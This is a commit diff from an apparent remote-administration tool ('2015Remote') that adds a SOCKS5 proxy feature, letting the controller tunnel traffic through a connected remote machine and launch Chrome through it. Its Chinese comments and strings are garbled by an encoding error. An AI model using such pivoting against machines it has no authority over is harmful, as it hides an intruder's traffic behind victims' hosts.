HSC_UNORDERED_COLLECTION = 425,
HSC_UPGRADE_REQUIRED = 426,
HSC_PRECONDITION_REQUIRED = 428,
HSC_TOO_MANY_REQUESTS = 429,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE_UNOFFICIAL = 430,
HSC_REQUEST_HEADER_FIELDS_TOO_LARGE = 431,
HSC_LOGIN_TIMEOUT = 440,
HSC_NO_RESPONSE = 444,
HSC_RETRY_WITH = 449,
HSC_BLOCKED_BY_PARENTAL_CONTROL = 450,
HSC_UNAVAILABLE_FOR_LEGAL_REASONS = 451,
HSC_CLIENT_CLOSED_LOAD_BALANCED_REQUEST = 460,
HSC_INVALID_X_FORWARDED_FOR = 463,
HSC_REQUEST_HEADER_TOO_LARGE = 494,
HSC_SSL_CERTIFICATE_ERROR = 495,
HSC_SSL_CERTIFICATE_REQUIRED = 496,
HSC_HTTP_REQUEST_SENT_TO_HTTPS_PORT = 497,
HSC_INVALID_TOKEN = 498,
HSC_CLIENT_CLOSED_REQUEST = 499,
HSC_INTERNAL_SERVER_ERROR = 500,
HSC_NOT_IMPLEMENTED = 501,
HSC_BAD_GATEWAY = 502,
HSC_SERVICE_UNAVAILABLE = 503,
HSC_GATEWAY_TIMEOUT = 504,
HSC_HTTP_VERSION_NOT_SUPPORTED = 505,
HSC_VARIANT_ALSO_NEGOTIATES = 506,
HSC_INSUFFICIENT_STORAGE = 507,
HSC_LOOP_DETECTED = 508,
HSC_BANDWIDTH_LIMIT_EXCEEDED = 509,
HSC_NOT_EXTENDED = 510,
HSC_NETWORK_AUTHENTICATION_REQUIRED = 511,
HSC_WEB_SERVER_UNKNOWN_ERROR = 520,
HSC_WEB_SERVER_IS_DOWN = 521,
HSC_CONNECTION_TIMEOUT = 522,
HSC_ORIGIN_IS_UNREACHABLE = 523,
HSC_TIMEOUT_OCCURED = 524,
HSC_SSL_HANDSHAKE_FAILED = 525,
HSC_INVALID_SSL_CERTIFICATE = 526,
HSC_RAILGUN_ERROR = 527,
HSC_SITE_IS_OVERLOADED = 529,
HSC_SITE_IS_FROZEN = 530,
HSC_IDENTITY_PROVIDER_AUTHENTICATION_ERROR = 561,
HSC_NETWORK_READ_TIMEOUT = 598,
HSC_NETWORK_CONNECT_TIMEOUT = 599,
HSC_UNPARSEABLE_RESPONSE_HEADERS = 600
} En_HP_HttpStatusCode;
/************************************************************************
名称Name/Value 结构体
描述:字符串名值对结构体
************************************************************************/
typedef struct TNVPair
{
LPCSTR name;
LPCSTR value;
} HP_TNVPair,
TParam, HP_TParam, *LPPARAM, *HP_LPPARAM,
THeader, HP_THeader, *LPHEADER, *HP_LPHEADER,
TCookie, HP_TCookie, *LPCOOKIE, *HP_LPCOOKIE;
#endif
/*****************************************************************************************************************************************************/
/********************************************************** Compress / Decompress Definitions ********************************************************/
/*****************************************************************************************************************************************************/
/************************************************************************
名称:数据回调函数
描述:回调处理过程中产生的数据输出
参数:
pData -- 数据缓冲区
iLength -- 数据长度
pContext -- 回调上下文
返回值:
TRUE -- 成功
FALSE -- 失败
************************************************************************/
typedef BOOL (__HP_CALL *Fn_DataCallback)(const BYTE* pData, int iLength, PVOID pContext);
typedef Fn_DataCallback Fn_CompressDataCallback;
typedef Fn_DataCallback Fn_DecompressDataCallback;
typedef Fn_DataCallback HP_Fn_DataCallback;
typedef Fn_DataCallback HP_Fn_CompressDataCallback;
typedef Fn_DataCallback HP_Fn_DecompressDataCallback;

View File

@@ -0,0 +1,222 @@
#include "stdafx.h"
#include "ProxyConnectServer.h"
#define MAX_SEND_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> 1024*64
#define MAX_RECV_BUFFER 65535 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this)
{
Mprintf("CProxyConnectServer\r\n");
m_bIsRun = TRUE;
m_dwIndex = 0;
memset(m_IDs, 0, sizeof(m_IDs));
}
CProxyConnectServer::~CProxyConnectServer(void)
{
if (m_TcpServer->GetState() != SS_STOPPED)
m_TcpServer->Stop();
while (m_TcpServer->GetState() != SS_STOPPED) {
Sleep(300);
}
Mprintf("~CProxyConnectServer\r\n");
}
BOOL CProxyConnectServer::Initialize(NOTIFYPROC pNotifyProc, void*user, int nMaxConnections, int nPort)
{
m_nMaxConnection = nMaxConnections;
m_TcpServer->SetMaxConnectionCount(nMaxConnections);
m_TcpServer->SetSendPolicy(SP_DIRECT);
m_TcpServer->SetNoDelay(TRUE);
m_pNotifyProc = pNotifyProc;
m_pUser = user;
m_nPort = nPort;
m_bStop = FALSE;
return m_TcpServer->Start(_T("0.0.0.0"), nPort);
}
EnHandleResult CProxyConnectServer::OnPrepareListen(ITcpServer* pSender, SOCKET soListen)
{
SYS_SSO_SendBuffSize(soListen, MAX_SEND_BUFFER);
SYS_SSO_RecvBuffSize(soListen, MAX_RECV_BUFFER);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient)
{
if (!m_bIsRun)return HR_ERROR;
ClientContext* pContext = NULL;
{
m_Locker.lock();
if (!m_listFreePool.IsEmpty()) {
pContext = m_listFreePool.RemoveHead();
}
else {
pContext = new(std::nothrow) ClientContext;
}
m_Locker.unlock();
}
if (pContext == NULL)
return HR_ERROR;
pContext->InitMember();
pContext->m_Socket = dwConnID;
char szAddress[64] = {};
int iAddressLen = sizeof(szAddress);
USHORT usPort = 0;
pSender->GetRemoteAddress(dwConnID, szAddress, iAddressLen, usPort);
Mprintf("CProxyConnectServer: new connection %s:%d\n", szAddress, usPort);
pContext->ID = dwConnID;
m_TcpServer->SetConnectionExtra(dwConnID, pContext);
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_CONNECT);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength)
{
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength)
{
ClientContext* pContext = NULL;
if ((!m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext)) && (pContext != nullptr) && (iLength <= 0))
return HR_ERROR;
PBYTE pData = new BYTE[iLength];
m_TcpServer->Fetch(dwConnID, pData, iLength);
pContext->InDeCompressedBuffer.ClearBuffer();
BYTE bToken = COMMAND_PROXY_DATA;
pContext->InDeCompressedBuffer.Write(&bToken, sizeof(bToken));
pContext->InDeCompressedBuffer.Write((LPBYTE)&pContext->ID, sizeof(DWORD));
pContext->InDeCompressedBuffer.Write((PBYTE)pData, iLength);
SAFE_DELETE_ARRAY(pData);
m_pNotifyProc(m_pUser, pContext, NC_RECEIVE);
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode)
{
ClientContext* pContext = NULL;
if (m_TcpServer->GetConnectionExtra(dwConnID, (PVOID*)&pContext) && pContext != nullptr)
m_TcpServer->SetConnectionExtra(dwConnID, NULL);
if (!pContext)
return HR_OK;
m_pNotifyProc(m_pUser, pContext, NC_CLIENT_DISCONNECT);
pContext->InCompressedBuffer.ClearBuffer();
pContext->InDeCompressedBuffer.ClearBuffer();
pContext->OutCompressedBuffer.ClearBuffer();
m_Locker.lock();
m_listFreePool.AddTail(pContext);
m_Locker.unlock();
return HR_OK;
}
EnHandleResult CProxyConnectServer::OnShutdown(ITcpServer* pSender)
{
return HR_OK;
}
BOOL CProxyConnectServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
if (pContext == NULL)
return FALSE;
BOOL rt = FALSE;;
if (nSize > 0 && m_bIsRun) {
pContext->OutCompressedBuffer.Write(lpData, nSize);
rt = SendWithSplit(pContext->m_Socket, pContext->OutCompressedBuffer.GetBuffer(0),
pContext->OutCompressedBuffer.GetBufferLength(), MAX_SEND_BUFFER);
pContext->OutCompressedBuffer.ClearBuffer();
}
return rt;
}
BOOL CProxyConnectServer::SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize)
{
int nSend = 0;
UINT nSendRetry = 0;
BOOL rt = TRUE;
if (nSize >= nSplitSize) {
UINT i = 0;
nSendRetry = nSize / nSplitSize;
for (i = 0; i < nSendRetry; i++) {
rt = m_TcpServer->Send(dwConnID, lpData, nSplitSize);
if (!rt)
return rt;
lpData += nSplitSize;
nSend += nSplitSize;
}
if (nSize - nSend < nSplitSize) {
if (nSize - nSend > 0) {
rt = m_TcpServer->Send(dwConnID, lpData, nSize - nSend);
if (!rt)
return rt;
}
}
} else {
rt = m_TcpServer->Send(dwConnID, lpData, nSize);
if (!rt)
return rt;
}
return TRUE;
}
void CProxyConnectServer::Shutdown()
{
DWORD dwCount = 65535;
CONNID *pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
Disconnect(pIDs[i]);
}
}
m_TcpServer->Stop();
m_bIsRun = FALSE;
while (m_TcpServer->GetState() != SS_STOPPED)
Sleep(10);
m_Locker.lock();
while (!m_listFreePool.IsEmpty())
delete m_listFreePool.RemoveTail();
m_Locker.unlock();
SAFE_DELETE_ARRAY(pIDs);
}
void CProxyConnectServer::ClearClient()
{
DWORD dwCount = 65535;
CONNID* pIDs = new CONNID[dwCount]();
BOOL status = m_TcpServer->GetAllConnectionIDs(pIDs, dwCount);
if (status && (dwCount > 0)) {
for (DWORD i = 0; i < dwCount; i++) {
m_TcpServer->Disconnect(pIDs[i]);
}
}
SAFE_DELETE_ARRAY(pIDs);
}
BOOL CProxyConnectServer::Disconnect(CONNID dwConnID)
{
m_TcpServer->Disconnect(dwConnID);
return 0;
}
BOOL CProxyConnectServer::IsConnected(CONNID dwConnID)
{
return m_TcpServer->IsConnected(dwConnID);
}
BOOL CProxyConnectServer::IsOverMaxConnectionCount()
{
return (m_TcpServer->GetConnectionCount() > (DWORD)m_nMaxConnection);
}

View File

@@ -0,0 +1,51 @@
#pragma once
#include "HPSocket.h"
#include "SocketInterface.h"
#include "Buffer.h"
#include <IOCPServer.h>
#define NC_CLIENT_CONNECT 0x0001
#define NC_CLIENT_DISCONNECT 0x0002
#define NC_TRANSMIT 0x0003
#define NC_RECEIVE 0x0004
typedef void (CALLBACK* NOTIFYPROC)(void* user, ClientContext* ctx, UINT nCode);
typedef CList<ClientContext*, ClientContext* > ContextList;
class CProxyConnectServer :public CTcpPullServerListener
{
public:
CProxyConnectServer(void);
~CProxyConnectServer(void);
BOOL Initialize(NOTIFYPROC pNotifyProc, void* user, int nMaxConnections, int nPort);
BOOL Send(ClientContext* pContext, LPBYTE lpData, UINT nSize);
BOOL SendWithSplit(CONNID dwConnID, LPBYTE lpData, UINT nSize, UINT nSplitSize);
void Shutdown();
void ClearClient();
BOOL Disconnect(CONNID dwConnID);
BOOL IsConnected(CONNID dwConnID);
int IsOverMaxConnectionCount();
virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen);
virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient);
virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength);
virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength);
virtual EnHandleResult OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode);
virtual EnHandleResult OnShutdown(ITcpServer* pSender);
CTcpPullServerPtr m_TcpServer;
private:
NOTIFYPROC m_pNotifyProc;
void* m_pUser;
ContextList m_listFreePool;
CLock m_Locker;
int m_nPort; // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
CONNID m_IDs[65535]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
LONG m_bStop; // <20>˿<EFBFBD>ֹͣ<CDA3><D6B9><EFBFBD>߿<EFBFBD><DFBF><EFBFBD>
int m_nMaxConnection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_bIsRun; // <20><><EFBFBD><EFBFBD>״̬
DWORD m_dwIndex; // <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>
};

View File

@@ -0,0 +1,309 @@
// ProxyMapDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ProxyMapDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
#define IDM_PROXY_CHROME 8000
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
: CDialog(CProxyMapDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_ContextObject = pContext;
m_iocpLocal = NULL;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
m_bIsClose = false;
}
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_Edit);
DDX_Control(pDX, IDC_EDIT_OTHER, m_EditOther);
}
BEGIN_MESSAGE_MAP(CProxyMapDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_SIZE()
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
BOOL CProxyMapDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
m_iocpLocal = new CProxyConnectServer;
if (m_iocpLocal == NULL) {
return FALSE;
}
m_Edit.SetLimitText(MAXDWORD);
m_EditOther.SetLimitText(MAXDWORD);
CString str;
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
return FALSE;
}
TCHAR ip[256] = {};
int len = sizeof(ip);
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
SetWindowText(strString);
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
AddLog(str.GetBuffer(0));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Chrome(<28><><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>Chrome<6D><65><EFBFBD><EFBFBD>)(&P)"));
}
return TRUE;
}
void CProxyMapDlg::OnCancel()
{
if (m_bIsClose) return;
m_bIsClose = true;
m_iocpServer->Disconnect(m_ContextObject);
DestroyIcon(m_hIcon);
m_iocpLocal->Shutdown();
SAFE_DELETE(m_iocpLocal);
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
Sleep(50);
if (IsWindow(m_hWnd))
DestroyWindow();
}
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
{
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
if (g_pProxyMap->m_bIsClose) return;
DWORD index = pContext->ID;
TCHAR szMsg[200] = { 0 };
try {
switch (nCode) {
case NC_CLIENT_CONNECT:
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\r\n"), index);
break;
case NC_CLIENT_DISCONNECT:
if (pContext->m_bProxyConnected) {
BYTE lpData[5] = "";
lpData[0] = COMMAND_PROXY_CLOSE;
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
}
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
pContext->m_bProxyConnected = 1;
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
wsprintf(szMsg, _T("%d <20><><EFBFBD>ر<EFBFBD>ʾ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
} else if (pContext->m_bProxyConnected == 1) {
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
BYTE buf[11] = {};
if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) {
if (lpData[3] == 1) { // ipv4
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20>׽<EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
wsprintfA(szmsg1, "%d IPV4 <20><><EFBFBD><EFBFBD> %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9)));
} else if (lpData[3] == 3) { // <20><><EFBFBD><EFBFBD>
Socks5Info* Socks5Request = (Socks5Info*)lpData;
BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8];
ZeroMemory(HostName, Socks5Request->IP_LEN + 8);
HostName[0] = COMMAND_PROXY_CONNECT_HOSTNAME;
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
memcpy(HostName + 1, &index, 4);
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
wsprintf(szMsg, _T("%d IPV6<56><36><EFBFBD><EFBFBD> <20><>֧<EFBFBD><D6A7>..."), index);
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
break;
}
} else {
buf[0] = 5;
buf[1] = 7;
buf[2] = 0;
buf[3] = lpData[3];
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>, <20>Ͽ<EFBFBD> %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
}
}
break;
}
} catch (...) {}
if (szMsg[0])
g_pProxyMap->AddLog_other(szMsg);
return;
}
void CProxyMapDlg::OnReceive()
{
}
void CProxyMapDlg::OnReceiveComplete()
{
if (m_iocpLocal == NULL)
return;
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
return;
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
DWORD index = *(DWORD*)&buf[1];
TCHAR szMsg[200];
switch (buf[0]) {
case TOKEN_PROXY_CONNECT_RESULT: {
char msg_request_co_ok[] = { 0X05, 0X00, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // Request connect OK
BYTE sendbuf[10] = "";
sendbuf[0] = 5;
sendbuf[1] = (buf[9] || buf[10]) ? 0 : 5;
sendbuf[2] = 0;
sendbuf[3] = 1;
memcpy(&sendbuf[4], &buf[5], 6);
ClientContext* pContext_proxy = NULL;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
if (sendbuf[1] == 0) {
pContext_proxy->m_bProxyConnected = 2;
wsprintf(szMsg, _T("%d <20><><EFBFBD>ӳɹ<D3B3>\r\n"), index);
} else
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>\r\n"), index);
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
AddLog(szMsg);
}
}
break;
case TOKEN_PROXY_BIND_RESULT:
break;
case TOKEN_PROXY_CLOSE: {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
}
break;
case TOKEN_PROXY_DATA: {
ClientContext* pContext_proxy = NULL;
BOOL ok = FALSE;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
ok = m_iocpLocal->Send(pContext_proxy, &buf[5], m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
if (ok == FALSE) {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
return;
}
wsprintf(szMsg, _T("%d ==><3E><> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
AddLog(szMsg);
}
}
break;
default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
break;
}
}
void CProxyMapDlg::AddLog(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_Edit.SetSel(-1, -1);
m_Edit.ReplaceSel(lpText);
}
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_EditOther.SetSel(-1, -1);
m_EditOther.ReplaceSel(lpText);
}
void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (!IsWindowVisible())
return;
RECT rectClient;
RECT rectEdit = {};
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_Edit.MoveWindow(&rectEdit);
}
void CProxyMapDlg::PostNcDestroy()
{
if (!m_bIsClose)
OnCancel();
CDialog::PostNcDestroy();
delete this;
}
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID) {
case IDM_PROXY_CHROME: {
CString strCommand;
strCommand.Format(_T(" /c start chrome.exe --show-app-list --proxy-server=\"SOCKS5://127.0.0.1:%d\""), m_nPort);
ShellExecute(NULL, _T("open"), _T("cmd.exe"), strCommand, NULL, SW_SHOW);
}
break;
}
CDialog::OnSysCommand(nID, lParam);
}

View File

@@ -0,0 +1,64 @@
#pragma once
#include "stdafx.h"
#include "ProxyConnectServer.h"
#include "Resource.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_x64D.lib")
#else
#pragma comment(lib, "HPSocket_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_D.lib")
#else
#pragma comment(lib, "HPSocket.lib")
#endif
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
typedef struct {
BYTE Ver; // Version Number
BYTE CMD; // 0x01==TCP CONNECT,0x02==TCP BIND,0x03==UDP ASSOCIATE
BYTE RSV;
BYTE ATYP;
BYTE IP_LEN;
BYTE szIP;
} Socks5Info;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
class CProxyMapDlg : public CDialog
{
public:
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
enum { IDD = IDD_PROXY };
static void CALLBACK NotifyProc(void* user, ClientContext* pContext, UINT nCode);
void OnReceiveComplete();
void OnReceive();
void AddLog(TCHAR* lpText);
void AddLog_other(TCHAR* lpText);
virtual void DoDataExchange(CDataExchange* pDX);
virtual void PostNcDestroy();
virtual void OnCancel();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
DECLARE_MESSAGE_MAP()
private:
ClientContext* m_ContextObject;
ISocketBase* m_iocpServer;
CProxyConnectServer* m_iocpLocal;
HICON m_hIcon;
bool m_bIsClose;
CEdit m_Edit;
USHORT m_nPort;
CEdit m_EditOther;
};

File diff suppressed because it is too large Load Diff

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 774 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

View File

@@ -83,6 +83,7 @@
#define WM_HANDLEMESSAGE WM_USER+3011
#define WM_OPENKEYBOARDDIALOG WM_USER+3012
#define WM_UPXTASKRESULT WM_USER+3013
#define WM_OPENPROXYDIALOG WM_USER+3014
enum
{
@@ -96,7 +97,8 @@ enum
SERVICES_DLG,
REGISTER_DLG,
TALK_DLG,
MONITOR_DLG
MONITOR_DLG,
PROXY_DLG,
};

7343
server/2015Remote/xxhash.h Normal file

File diff suppressed because it is too large Load Diff